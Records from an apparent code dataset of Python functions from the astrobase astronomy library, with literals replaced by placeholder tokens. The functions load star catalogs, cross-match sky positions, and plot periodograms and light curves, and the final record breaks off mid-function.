{"signature": "def load_xmatch_external_catalogs(xmatchto, xmatchkeys, outfile=None):", "body": "outdict = {}<EOL>for xc, xk in zip(xmatchto, xmatchkeys):<EOL><INDENT>parsed_catdef = _parse_xmatch_catalog_header(xc, xk)<EOL>if not parsed_catdef:<EOL><INDENT>continue<EOL><DEDENT>(infd, catdefdict,<EOL>catcolinds, catcoldtypes,<EOL>catcolnames, catcolunits) = parsed_catdef<EOL>catarr = np.genfromtxt(infd,<EOL>usecols=catcolinds,<EOL>names=xk,<EOL>dtype='<STR_LIT:U+002C>'.join(catcoldtypes),<EOL>comments='<STR_LIT:#>',<EOL>delimiter='<STR_LIT:|>',<EOL>autostrip=True)<EOL>infd.close()<EOL>catshortname = os.path.splitext(os.path.basename(xc))[<NUM_LIT:0>]<EOL>catshortname = catshortname.replace('<STR_LIT>','<STR_LIT>')<EOL>objra, objdecl = (catarr[catdefdict['<STR_LIT>']],<EOL>catarr[catdefdict['<STR_LIT>']])<EOL>cosdecl = np.cos(np.radians(objdecl))<EOL>sindecl = np.sin(np.radians(objdecl))<EOL>cosra = np.cos(np.radians(objra))<EOL>sinra = np.sin(np.radians(objra))<EOL>xyz = np.column_stack((cosra*cosdecl,sinra*cosdecl, sindecl))<EOL>kdt = cKDTree(xyz,copy_data=True)<EOL>catoutdict = {'<STR_LIT>':kdt,<EOL>'<STR_LIT:data>':catarr,<EOL>'<STR_LIT>':xk,<EOL>'<STR_LIT>':catcolnames,<EOL>'<STR_LIT>':catcolunits,<EOL>'<STR_LIT:name>':catdefdict['<STR_LIT:name>'],<EOL>'<STR_LIT>':catdefdict['<STR_LIT:description>']}<EOL>outdict[catshortname] = catoutdict<EOL><DEDENT>if outfile is not None:<EOL><INDENT>if sys.platform == '<STR_LIT>':<EOL><INDENT>dumpbytes = pickle.dumps(outdict, protocol=pickle.HIGHEST_PROTOCOL)<EOL>max_bytes = <NUM_LIT:2>**<NUM_LIT> - <NUM_LIT:1><EOL>with open(outfile, '<STR_LIT:wb>') as outfd:<EOL><INDENT>for idx in range(<NUM_LIT:0>, len(dumpbytes), max_bytes):<EOL><INDENT>outfd.write(dumpbytes[idx:idx+max_bytes])<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>with open(outfile, '<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(outdict, outfd, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT><DEDENT>return outfile<EOL><DEDENT>else:<EOL><INDENT>return outdict<EOL><DEDENT>", "docstring": "This loads the external xmatch catalogs into a dict for use in an xmatch.\n\n    Parameters\n    ----------\n\n    xmatchto : list of str\n        This is a list of paths to all the catalog text files that will be\n        loaded.\n\n        The text files must be 'CSVs' that use the '|' character as the\n        separator betwen columns. These files should all begin with a header in\n        JSON format on lines starting with the '#' character. this header will\n        define the catalog and contains the name of the catalog and the column\n        definitions. Column definitions must have the column name and the numpy\n        dtype of the columns (in the same format as that expected for the\n        numpy.genfromtxt function). Any line that does not begin with '#' is\n        assumed to be part of the columns in the catalog. An example is shown\n        below::\n\n            # {\"name\":\"NSVS catalog of variable stars\",\n            #  \"columns\":[\n            #   {\"key\":\"objectid\", \"dtype\":\"U20\", \"name\":\"Object ID\", \"unit\": null},\n            #   {\"key\":\"ra\", \"dtype\":\"f8\", \"name\":\"RA\", \"unit\":\"deg\"},\n            #   {\"key\":\"decl\",\"dtype\":\"f8\", \"name\": \"Declination\", \"unit\":\"deg\"},\n            #   {\"key\":\"sdssr\",\"dtype\":\"f8\",\"name\":\"SDSS r\", \"unit\":\"mag\"},\n            #   {\"key\":\"vartype\",\"dtype\":\"U20\",\"name\":\"Variable type\", \"unit\":null}\n            #  ],\n            #  \"colra\":\"ra\",\n            #  \"coldec\":\"decl\",\n            #  \"description\":\"Contains variable stars from the NSVS catalog\"}\n            objectid1 | 45.0  | -20.0 | 12.0 | detached EB\n            objectid2 | 145.0 | 23.0  | 10.0 | RRab\n            objectid3 | 12.0  | 11.0  | 14.0 | Cepheid\n            .\n            .\n            .\n\n    xmatchkeys : list of lists\n        This is the list of lists of column names (as str) to get out of each\n        `xmatchto` catalog. This should be the same length as `xmatchto` and\n        each element here will apply to the respective file in `xmatchto`.\n\n    outfile : str or None\n        If this is not None, set this to the name of the pickle to write the\n        collected xmatch catalogs to. this pickle can then be loaded\n        transparently by the :py:func:`astrobase.checkplot.pkl.checkplot_dict`,\n        :py:func:`astrobase.checkplot.pkl.checkplot_pickle` functions to provide\n        xmatch info to the\n        :py:func:`astrobase.checkplot.pkl_xmatch.xmatch_external_catalogs`\n        function below.\n\n        If this is None, will return the loaded xmatch catalogs directly. This\n        will be a huge dict, so make sure you have enough RAM.\n\n    Returns\n    -------\n\n    str or dict\n        Based on the `outfile` kwarg, will either return the path to a collected\n        xmatch pickle file or the collected xmatch dict.", "id": "f14721:m1"}
{"signature": "def xmatch_external_catalogs(checkplotdict,<EOL>xmatchinfo,<EOL>xmatchradiusarcsec=<NUM_LIT>,<EOL>returndirect=False,<EOL>updatexmatch=True,<EOL>savepickle=None):", "body": "<EOL>if isinstance(xmatchinfo, str) and os.path.exists(xmatchinfo):<EOL><INDENT>with open(xmatchinfo,'<STR_LIT:rb>') as infd:<EOL><INDENT>xmatchdict = pickle.load(infd)<EOL><DEDENT><DEDENT>elif isinstance(xmatchinfo, dict):<EOL><INDENT>xmatchdict = xmatchinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return checkplotdict<EOL><DEDENT>objra = checkplotdict['<STR_LIT>']['<STR_LIT>']<EOL>objdecl = checkplotdict['<STR_LIT>']['<STR_LIT>']<EOL>cosdecl = np.cos(np.radians(objdecl))<EOL>sindecl = np.sin(np.radians(objdecl))<EOL>cosra = np.cos(np.radians(objra))<EOL>sinra = np.sin(np.radians(objra))<EOL>objxyz = np.column_stack((cosra*cosdecl,<EOL>sinra*cosdecl,<EOL>sindecl))<EOL>xyzdist = <NUM_LIT> * np.sin(np.radians(xmatchradiusarcsec/<NUM_LIT>)/<NUM_LIT>)<EOL>xmatchresults = {}<EOL>extcats = sorted(list(xmatchdict.keys()))<EOL>for ecat in extcats:<EOL><INDENT>kdt = xmatchdict[ecat]['<STR_LIT>']<EOL>kdt_dist, kdt_ind = kdt.query(objxyz,<EOL>k=<NUM_LIT:1>,<EOL>distance_upper_bound=xyzdist)<EOL>mdsorted = np.argsort(kdt_dist)<EOL>matchdists = kdt_dist[mdsorted]<EOL>matchinds = kdt_ind[mdsorted]<EOL>if matchdists[np.isfinite(matchdists)].size == <NUM_LIT:0>:<EOL><INDENT>xmatchresults[ecat] = {'<STR_LIT:name>':xmatchdict[ecat]['<STR_LIT:name>'],<EOL>'<STR_LIT>':xmatchdict[ecat]['<STR_LIT>'],<EOL>'<STR_LIT>':False,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT:info>':None}<EOL><DEDENT>else:<EOL><INDENT>for md, mi in zip(matchdists, matchinds):<EOL><INDENT>if np.isfinite(md) and md < xyzdist:<EOL><INDENT>infodict = {}<EOL>distarcsec = _xyzdist_to_distarcsec(md)<EOL>for col in xmatchdict[ecat]['<STR_LIT>']:<EOL><INDENT>coldata = xmatchdict[ecat]['<STR_LIT:data>'][col][mi]<EOL>if isinstance(coldata, str):<EOL><INDENT>coldata = coldata.strip()<EOL><DEDENT>infodict[col] = coldata<EOL><DEDENT>xmatchresults[ecat] = {<EOL>'<STR_LIT:name>':xmatchdict[ecat]['<STR_LIT:name>'],<EOL>'<STR_LIT>':xmatchdict[ecat]['<STR_LIT>'],<EOL>'<STR_LIT>':True,<EOL>'<STR_LIT>':distarcsec,<EOL>'<STR_LIT:info>':infodict,<EOL>'<STR_LIT>':xmatchdict[ecat]['<STR_LIT>'],<EOL>'<STR_LIT>':xmatchdict[ecat]['<STR_LIT>'],<EOL>'<STR_LIT>':xmatchdict[ecat]['<STR_LIT>'],<EOL>}<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if returndirect:<EOL><INDENT>return xmatchresults<EOL><DEDENT>else:<EOL><INDENT>if updatexmatch and '<STR_LIT>' in checkplotdict:<EOL><INDENT>checkplotdict['<STR_LIT>'].update(xmatchresults)<EOL><DEDENT>else:<EOL><INDENT>checkplotdict['<STR_LIT>'] = xmatchresults<EOL><DEDENT>if savepickle:<EOL><INDENT>cpf = _write_checkplot_picklefile(checkplotdict,<EOL>outfile=savepickle,<EOL>protocol=<NUM_LIT:4>)<EOL>return cpf<EOL><DEDENT>else:<EOL><INDENT>return checkplotdict<EOL><DEDENT><DEDENT>", "docstring": "This matches the current object in the checkplotdict to all of the\n    external match catalogs specified.\n\n    Parameters\n    ----------\n\n    checkplotdict : dict\n        This is a checkplotdict, generated by either the `checkplot_dict`\n        function, or read in from a `_read_checkplot_picklefile` function. This\n        must have a structure somewhat like the following, where the indicated\n        keys below are required::\n\n            {'objectid': the ID assigned to this object\n             'objectinfo': {'objectid': ID assigned to this object,\n                            'ra': right ascension of the object in decimal deg,\n                            'decl': declination of the object in decimal deg}}\n\n    xmatchinfo : str or dict\n        This is either the xmatch dict produced by the function\n        :py:func:`astrobase.checkplot.pkl_xmatch.load_xmatch_external_catalogs`\n        above, or the path to the xmatch info pickle file produced by that\n        function.\n\n    xmatchradiusarcsec : float\n        This is the cross-matching radius to use in arcseconds.\n\n    returndirect : bool\n        If this is True, will only return the xmatch results as a dict. If this\n        False, will return the checkplotdict with the xmatch results added in as\n        a key-val pair.\n\n    updatexmatch : bool\n        This function will look for an existing 'xmatch' key in the input\n        checkplotdict indicating that an xmatch has been performed before. If\n        `updatexmatch` is set to True, the xmatch results will be added onto\n        (e.g. when xmatching to additional catalogs after the first run). If\n        this is set to False, the xmatch key-val pair will be completely\n        overwritten.\n\n    savepickle : str or None\n        If this is None, it must be a path to where the updated checkplotdict\n        will be written to as a new checkplot pickle. If this is False, only the\n        updated checkplotdict is returned.\n\n    Returns\n    -------\n\n    dict or str\n        If `savepickle` is False, this returns a checkplotdict, with the xmatch\n        results added in. An 'xmatch' key will be added to this dict, with\n        something like the following dict as the value::\n\n            {'xmatchradiusarcsec':xmatchradiusarcsec,\n             'catalog1':{'name':'Catalog of interesting things',\n                        'found':True,\n                        'distarcsec':0.7,\n                        'info':{'objectid':...,'ra':...,'decl':...,'desc':...}},\n             'catalog2':{'name':'Catalog of more interesting things',\n                         'found':False,\n                         'distarcsec':nan,\n                         'info':None},\n            .\n            .\n            .\n            ....}\n\n        This will contain the matches of the object in the input checkplotdict\n        to all of the catalogs provided in `xmatchinfo`.\n\n        If `savepickle` is True, will return the path to the saved checkplot\n        pickle file.", "id": "f14721:m2"}
{"signature": "def _make_periodogram(axes,<EOL>lspinfo,<EOL>objectinfo,<EOL>findercmap,<EOL>finderconvolve,<EOL>verbose=True,<EOL>findercachedir='<STR_LIT>'):", "body": "<EOL>pgramylabel = PLOTYLABELS[lspinfo['<STR_LIT>']]<EOL>periods = lspinfo['<STR_LIT>']<EOL>lspvals = lspinfo['<STR_LIT>']<EOL>bestperiod = lspinfo['<STR_LIT>']<EOL>nbestperiods = lspinfo['<STR_LIT>']<EOL>nbestlspvals = lspinfo['<STR_LIT>']<EOL>axes.plot(periods,lspvals)<EOL>axes.set_xscale('<STR_LIT>',basex=<NUM_LIT:10>)<EOL>axes.set_xlabel('<STR_LIT>')<EOL>axes.set_ylabel(pgramylabel)<EOL>plottitle = '<STR_LIT>' % (METHODLABELS[lspinfo['<STR_LIT>']],<EOL>bestperiod)<EOL>axes.set_title(plottitle)<EOL>for bestperiod, bestpeak in zip(nbestperiods,<EOL>nbestlspvals):<EOL><INDENT>axes.annotate('<STR_LIT>' % bestperiod,<EOL>xy=(bestperiod, bestpeak), xycoords='<STR_LIT:data>',<EOL>xytext=(<NUM_LIT:0.0>,<NUM_LIT>), textcoords='<STR_LIT>',<EOL>arrowprops=dict(arrowstyle=\"<STR_LIT>\"),fontsize='<STR_LIT>')<EOL><DEDENT>axes.grid(color='<STR_LIT>',<EOL>alpha=<NUM_LIT>,<EOL>zorder=<NUM_LIT:0>,<EOL>linewidth=<NUM_LIT:1.0>,<EOL>linestyle='<STR_LIT::>')<EOL>if (objectinfo and isinstance(objectinfo, dict) and<EOL>('<STR_LIT>' in objectinfo or '<STR_LIT>' in objectinfo) and<EOL>'<STR_LIT>' in objectinfo and '<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] and objectinfo['<STR_LIT>']):<EOL><INDENT>if '<STR_LIT>' not in objectinfo:<EOL><INDENT>objectid = objectinfo['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>objectid = objectinfo['<STR_LIT>']<EOL><DEDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(objectid, objectinfo['<STR_LIT>'], objectinfo['<STR_LIT>']))<EOL><DEDENT>if ('<STR_LIT>' in objectinfo and '<STR_LIT>' in objectinfo and<EOL>'<STR_LIT>' in objectinfo and '<STR_LIT>' in objectinfo and<EOL>'<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] and objectinfo['<STR_LIT>'] and<EOL>objectinfo['<STR_LIT>'] and objectinfo['<STR_LIT>'] and<EOL>objectinfo['<STR_LIT>']):<EOL><INDENT>bvcolor = objectinfo['<STR_LIT>'] - objectinfo['<STR_LIT>']<EOL>jkcolor = objectinfo['<STR_LIT>'] - objectinfo['<STR_LIT>']<EOL>ijcolor = objectinfo['<STR_LIT>'] - objectinfo['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>bvcolor = None<EOL>jkcolor = None<EOL>ijcolor = None<EOL><DEDENT>if ('<STR_LIT>' in objectinfo and '<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] and objectinfo['<STR_LIT>']):<EOL><INDENT>teff_val = objectinfo['<STR_LIT>']<EOL>gmag = objectinfo['<STR_LIT>']<EOL><DEDENT>lspylim = axes.get_ylim()<EOL>axes.set_ylim(lspylim[<NUM_LIT:0>], lspylim[<NUM_LIT:1>]+<NUM_LIT>*(lspylim[<NUM_LIT:1>]-lspylim[<NUM_LIT:0>]))<EOL>try:<EOL><INDENT>dss, dssheader = skyview_stamp(objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>convolvewith=finderconvolve,<EOL>flip=False,<EOL>cachedir=findercachedir,<EOL>verbose=verbose)<EOL>stamp = dss<EOL>inset = inset_axes(axes, width=\"<STR_LIT>\", height=\"<STR_LIT>\", loc=<NUM_LIT:1>)<EOL>inset.imshow(stamp, cmap=findercmap, origin='<STR_LIT>')<EOL>inset.set_xticks([])<EOL>inset.set_yticks([])<EOL>inset.set_frame_on(False)<EOL>inset.axvline(x=<NUM_LIT>,ymin=<NUM_LIT>,ymax=<NUM_LIT>,linewidth=<NUM_LIT>,color='<STR_LIT:b>')<EOL>inset.axhline(y=<NUM_LIT>,xmin=<NUM_LIT>,xmax=<NUM_LIT>,linewidth=<NUM_LIT>,color='<STR_LIT:b>')<EOL><DEDENT>except OSError as e:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>dss, dssheader = skyview_stamp(objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>convolvewith=finderconvolve,<EOL>flip=False,<EOL>forcefetch=True,<EOL>cachedir=findercachedir,<EOL>verbose=verbose)<EOL>stamp = dss<EOL>inset = inset_axes(axes, width=\"<STR_LIT>\", height=\"<STR_LIT>\", loc=<NUM_LIT:1>)<EOL>inset.imshow(stamp, cmap=findercmap, origin='<STR_LIT>')<EOL>inset.set_xticks([])<EOL>inset.set_yticks([])<EOL>inset.set_frame_on(False)<EOL>inset.axvline(x=<NUM_LIT>,ymin=<NUM_LIT>,ymax=<NUM_LIT>,linewidth=<NUM_LIT>,color='<STR_LIT:b>')<EOL>inset.axhline(y=<NUM_LIT>,xmin=<NUM_LIT>,xmax=<NUM_LIT>,linewidth=<NUM_LIT>,color='<STR_LIT:b>')<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(objectid, objectinfo['<STR_LIT>'], objectinfo['<STR_LIT>']))<EOL><DEDENT>axes.text(<EOL><NUM_LIT>,<NUM_LIT>,<EOL>'<STR_LIT:%s>' % objectid,<EOL>ha='<STR_LIT:left>',va='<STR_LIT>',transform=axes.transAxes,<EOL>fontsize=<NUM_LIT><EOL>)<EOL>axes.text(<EOL><NUM_LIT>,<NUM_LIT>,<EOL>'<STR_LIT>' % (objectinfo['<STR_LIT>'], objectinfo['<STR_LIT>']),<EOL>ha='<STR_LIT:left>',va='<STR_LIT>',transform=axes.transAxes,<EOL>fontsize=<NUM_LIT><EOL>)<EOL>if bvcolor:<EOL><INDENT>axes.text(<NUM_LIT>,<NUM_LIT>,<EOL>'<STR_LIT>' % (bvcolor,<EOL>objectinfo['<STR_LIT>']),<EOL>ha='<STR_LIT:left>',va='<STR_LIT>',transform=axes.transAxes,<EOL>fontsize=<NUM_LIT>)<EOL><DEDENT>elif '<STR_LIT>' in objectinfo and objectinfo['<STR_LIT>']:<EOL><INDENT>axes.text(<NUM_LIT>,<NUM_LIT>,<EOL>'<STR_LIT>' % (objectinfo['<STR_LIT>'],),<EOL>ha='<STR_LIT:left>',va='<STR_LIT>',transform=axes.transAxes,<EOL>fontsize=<NUM_LIT>)<EOL><DEDENT>if ijcolor:<EOL><INDENT>axes.text(<NUM_LIT>,<NUM_LIT>,<EOL>'<STR_LIT>' % (ijcolor,<EOL>objectinfo['<STR_LIT>']),<EOL>ha='<STR_LIT:left>',va='<STR_LIT>',transform=axes.transAxes,<EOL>fontsize=<NUM_LIT>)<EOL><DEDENT>elif '<STR_LIT>' in objectinfo and objectinfo['<STR_LIT>']:<EOL><INDENT>axes.text(<NUM_LIT>,<NUM_LIT>,<EOL>'<STR_LIT>' % (objectinfo['<STR_LIT>'],),<EOL>ha='<STR_LIT:left>',va='<STR_LIT>',transform=axes.transAxes,<EOL>fontsize=<NUM_LIT>)<EOL><DEDENT>if jkcolor:<EOL><INDENT>axes.text(<NUM_LIT>,<NUM_LIT>,<EOL>'<STR_LIT>' % (jkcolor,<EOL>objectinfo['<STR_LIT>']),<EOL>ha='<STR_LIT:left>',va='<STR_LIT>',transform=axes.transAxes,<EOL>fontsize=<NUM_LIT>)<EOL><DEDENT>elif '<STR_LIT>' in objectinfo and objectinfo['<STR_LIT>']:<EOL><INDENT>axes.text(<NUM_LIT>,<NUM_LIT>,<EOL>'<STR_LIT>' % (objectinfo['<STR_LIT>'],),<EOL>ha='<STR_LIT:left>',va='<STR_LIT>',transform=axes.transAxes,<EOL>fontsize=<NUM_LIT>)<EOL><DEDENT>if '<STR_LIT>' in objectinfo and objectinfo['<STR_LIT>']:<EOL><INDENT>axes.text(<NUM_LIT>,<NUM_LIT>,'<STR_LIT>' % objectinfo['<STR_LIT>'],<EOL>ha='<STR_LIT:left>',va='<STR_LIT>',transform=axes.transAxes,<EOL>fontsize=<NUM_LIT>)<EOL><DEDENT>if ('<STR_LIT>' in objectinfo and '<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] and objectinfo['<STR_LIT>']):<EOL><INDENT>axes.text(<NUM_LIT>,<NUM_LIT>,<EOL>r'<STR_LIT>' % (<EOL>gmag, int(teff_val)),<EOL>ha='<STR_LIT:left>',va='<STR_LIT>',transform=axes.transAxes,<EOL>fontsize=<NUM_LIT>)<EOL><DEDENT>if ('<STR_LIT>' in objectinfo and objectinfo['<STR_LIT>'] and<EOL>'<STR_LIT>' in objectinfo and objectinfo['<STR_LIT>']):<EOL><INDENT>pm = total_proper_motion(objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'])<EOL>axes.text(<NUM_LIT>,<NUM_LIT>,r'<STR_LIT>' % pm,<EOL>ha='<STR_LIT:left>',va='<STR_LIT>',transform=axes.transAxes,<EOL>fontsize=<NUM_LIT>)<EOL>if '<STR_LIT>' in objectinfo and objectinfo['<STR_LIT>']:<EOL><INDENT>rpm = reduced_proper_motion(objectinfo['<STR_LIT>'],pm)<EOL>axes.text(<NUM_LIT>,<NUM_LIT>,'<STR_LIT>' % rpm,<EOL>ha='<STR_LIT:left>',va='<STR_LIT>',transform=axes.transAxes,<EOL>fontsize=<NUM_LIT>)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Makes periodogram, objectinfo, and finder tile for `checkplot_png` and\n    `twolsp_checkplot_png`.\n\n    Parameters\n    ----------\n\n    axes : matplotlib.axes.Axes object\n        The Axes object which will contain the plot being made.\n\n    lspinfo : dict\n        Dict containing results from a period-finder in `astrobase.periodbase`\n        or a dict that corresponds to that format.\n\n    objectinfo : dict\n        Dict containing basic info about the object being processed.\n\n    findercmap : matplotlib Colormap object or str\n        The Colormap object to use for the finder chart image.\n\n    finderconvolve : astropy.convolution.Kernel object or None\n        If not None, the Kernel object to use for convolving the finder image.\n\n    verbose : bool\n        If True, indicates progress.\n\n    findercachedir : str\n        The directory where the FITS finder images are downloaded and cached.\n\n    Returns\n    -------\n\n    Does not return anything, works on the input Axes object directly.", "id": "f14722:m0"}
{"signature": "def _make_magseries_plot(axes,<EOL>stimes,<EOL>smags,<EOL>serrs,<EOL>magsarefluxes=False,<EOL>ms=<NUM_LIT>):", "body": "scaledplottime = stimes - npmin(stimes)<EOL>axes.plot(scaledplottime,<EOL>smags,<EOL>marker='<STR_LIT:o>',<EOL>ms=ms, ls='<STR_LIT:None>',mew=<NUM_LIT:0>,<EOL>color='<STR_LIT>',<EOL>rasterized=True)<EOL>if not magsarefluxes:<EOL><INDENT>plot_ylim = axes.get_ylim()<EOL>axes.set_ylim((plot_ylim[<NUM_LIT:1>], plot_ylim[<NUM_LIT:0>]))<EOL><DEDENT>axes.set_xlim((npmin(scaledplottime)-<NUM_LIT:1.0>,<EOL>npmax(scaledplottime)+<NUM_LIT:1.0>))<EOL>axes.grid(color='<STR_LIT>',<EOL>alpha=<NUM_LIT>,<EOL>zorder=<NUM_LIT:0>,<EOL>linewidth=<NUM_LIT:1.0>,<EOL>linestyle='<STR_LIT::>')<EOL>plot_xlabel = '<STR_LIT>' % npmin(stimes)<EOL>if magsarefluxes:<EOL><INDENT>plot_ylabel = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>plot_ylabel = '<STR_LIT>'<EOL><DEDENT>axes.set_xlabel(plot_xlabel)<EOL>axes.set_ylabel(plot_ylabel)<EOL>axes.get_yaxis().get_major_formatter().set_useOffset(False)<EOL>axes.get_xaxis().get_major_formatter().set_useOffset(False)<EOL>", "docstring": "Makes the mag-series plot tile for `checkplot_png` and\n    `twolsp_checkplot_png`.\n\n    axes : matplotlib.axes.Axes object\n        The Axes object where the generated plot will go.\n\n    stimes,smags,serrs : np.array\n        The mag/flux time-series arrays along with associated errors. These\n        should all have been run through nan-stripping and sigma-clipping\n        beforehand.\n\n    magsarefluxes : bool\n        If True, indicates the input time-series is fluxes and not mags so the\n        plot y-axis direction and range can be set appropriately.\n\n    ms : float\n        The `markersize` kwarg to use when making the mag-series plot.\n\n    Returns\n    -------\n\n    Does not return anything, works on the input Axes object directly.", "id": "f14722:m1"}
{"signature": "def _make_phased_magseries_plot(axes,<EOL>periodind,<EOL>stimes, smags, serrs,<EOL>varperiod, varepoch,<EOL>phasewrap, phasesort,<EOL>phasebin, minbinelems,<EOL>plotxlim,<EOL>lspmethod,<EOL>lspmethodind=<NUM_LIT:0>,<EOL>xliminsetmode=False,<EOL>twolspmode=False,<EOL>magsarefluxes=False,<EOL>verbose=True,<EOL>phasems=<NUM_LIT>,<EOL>phasebinms=<NUM_LIT>):", "body": "plotvarepoch = None<EOL>if varepoch is None:<EOL><INDENT>plotvarepoch = npmin(stimes)<EOL><DEDENT>elif isinstance(varepoch, str) and varepoch == '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>spfit = spline_fit_magseries(stimes,<EOL>smags,<EOL>serrs,<EOL>varperiod,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=None,<EOL>verbose=verbose)<EOL>plotvarepoch = spfit['<STR_LIT>']['<STR_LIT>']<EOL>if len(plotvarepoch) != <NUM_LIT:1>:<EOL><INDENT>plotvarepoch = varepoch[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>sgfit = savgol_fit_magseries(stimes,<EOL>smags,<EOL>serrs,<EOL>varperiod,<EOL>sigclip=None,<EOL>magsarefluxes=magsarefluxes,<EOL>verbose=verbose)<EOL>plotvarepoch = sgfit['<STR_LIT>']['<STR_LIT>']<EOL>if len(plotvarepoch) != <NUM_LIT:1>:<EOL><INDENT>plotvarepoch = plotvarepoch[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>if plotvarepoch is None:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>plotvarepoch = npmin(stimes)<EOL><DEDENT><DEDENT><DEDENT>elif isinstance(varepoch, list):<EOL><INDENT>try:<EOL><INDENT>if twolspmode:<EOL><INDENT>thisvarepochlist = varepoch[lspmethodind]<EOL>plotvarepoch = thisvarepochlist[periodind]<EOL><DEDENT>else:<EOL><INDENT>plotvarepoch = varepoch[periodind]<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>plotvarepoch = npmin(stimes)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>plotvarepoch = varepoch<EOL><DEDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' %<EOL>(varperiod, plotvarepoch))<EOL><DEDENT>phasedlc = phase_magseries(stimes,<EOL>smags,<EOL>varperiod,<EOL>plotvarepoch,<EOL>wrap=phasewrap,<EOL>sort=phasesort)<EOL>plotphase = phasedlc['<STR_LIT>']<EOL>plotmags = phasedlc['<STR_LIT>']<EOL>if phasebin:<EOL><INDENT>binphasedlc = phase_bin_magseries(plotphase,<EOL>plotmags,<EOL>binsize=phasebin,<EOL>minbinelems=minbinelems)<EOL>binplotphase = binphasedlc['<STR_LIT>']<EOL>binplotmags = binphasedlc['<STR_LIT>']<EOL><DEDENT>axes.plot(plotphase,<EOL>plotmags,<EOL>marker='<STR_LIT:o>',<EOL>ms=phasems, ls='<STR_LIT:None>',mew=<NUM_LIT:0>,<EOL>color='<STR_LIT>',<EOL>rasterized=True)<EOL>if phasebin:<EOL><INDENT>axes.plot(binplotphase,<EOL>binplotmags,<EOL>marker='<STR_LIT:o>',<EOL>ms=phasebinms, ls='<STR_LIT:None>',mew=<NUM_LIT:0>,<EOL>color='<STR_LIT>',<EOL>rasterized=True)<EOL><DEDENT>if not magsarefluxes:<EOL><INDENT>plot_ylim = axes.get_ylim()<EOL>axes.set_ylim((plot_ylim[<NUM_LIT:1>], plot_ylim[<NUM_LIT:0>]))<EOL><DEDENT>if not plotxlim:<EOL><INDENT>axes.set_xlim((npmin(plotphase)-<NUM_LIT:0.1>,<EOL>npmax(plotphase)+<NUM_LIT:0.1>))<EOL><DEDENT>else:<EOL><INDENT>axes.set_xlim((plotxlim[<NUM_LIT:0>],plotxlim[<NUM_LIT:1>]))<EOL><DEDENT>axes.grid(color='<STR_LIT>',<EOL>alpha=<NUM_LIT>,<EOL>zorder=<NUM_LIT:0>,<EOL>linewidth=<NUM_LIT:1.0>,<EOL>linestyle='<STR_LIT::>')<EOL>plot_xlabel = '<STR_LIT>'<EOL>if magsarefluxes:<EOL><INDENT>plot_ylabel = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>plot_ylabel = '<STR_LIT>'<EOL><DEDENT>axes.set_xlabel(plot_xlabel)<EOL>axes.set_ylabel(plot_ylabel)<EOL>axes.get_yaxis().get_major_formatter().set_useOffset(False)<EOL>axes.get_xaxis().get_major_formatter().set_useOffset(False)<EOL>if periodind == <NUM_LIT:0>:<EOL><INDENT>plottitle = '<STR_LIT>' % (<EOL>METHODSHORTLABELS[lspmethod],<EOL>varperiod,<EOL>plotvarepoch<EOL>)<EOL><DEDENT>elif periodind == <NUM_LIT:1> and not twolspmode:<EOL><INDENT>plottitle = '<STR_LIT>' % (<EOL>METHODSHORTLABELS[lspmethod],<EOL>varperiod,<EOL>plotvarepoch<EOL>)<EOL><DEDENT>elif periodind == <NUM_LIT:2> and not twolspmode:<EOL><INDENT>plottitle = '<STR_LIT>' % (<EOL>METHODSHORTLABELS[lspmethod],<EOL>varperiod,<EOL>plotvarepoch<EOL>)<EOL><DEDENT>elif periodind > <NUM_LIT:2> and not twolspmode:<EOL><INDENT>plottitle = '<STR_LIT>' % (<EOL>METHODSHORTLABELS[lspmethod],<EOL>periodind-<NUM_LIT:1>,<EOL>varperiod,<EOL>plotvarepoch<EOL>)<EOL><DEDENT>elif periodind > <NUM_LIT:0>:<EOL><INDENT>plottitle = '<STR_LIT>' % (<EOL>METHODSHORTLABELS[lspmethod],<EOL>periodind+<NUM_LIT:1>,<EOL>varperiod,<EOL>plotvarepoch<EOL>)<EOL><DEDENT>axes.set_title(plottitle)<EOL>if (plotxlim and isinstance(plotxlim, (list,tuple)) and<EOL>len(plotxlim) == <NUM_LIT:2> and xliminsetmode is True):<EOL><INDENT>axesylim = axes.get_ylim()<EOL>if magsarefluxes:<EOL><INDENT>axes.set_ylim(axesylim[<NUM_LIT:0>],<EOL>axesylim[<NUM_LIT:1>] + 